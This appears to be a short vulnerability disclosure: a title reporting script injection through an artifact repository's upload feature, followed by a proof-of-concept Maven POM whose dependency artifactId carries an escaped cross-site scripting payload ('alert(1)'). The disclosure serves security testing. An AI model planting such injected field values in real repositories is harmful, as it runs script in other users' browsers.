Artifact repository upload functionality allows malicious code injection

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>example</groupId>
  <artifactId>inject-script</artifactId>
  <version>1.0</version>
  
  <dependencies>
  	<dependency>
  		<groupId>example</groupId>
  		<artifactId>}}proj&lt;script&gt;alert(1)&lt;/script&gt;</artifactId>
  		<version>1.0</version>
  	</dependency>
  </dependencies>
</project>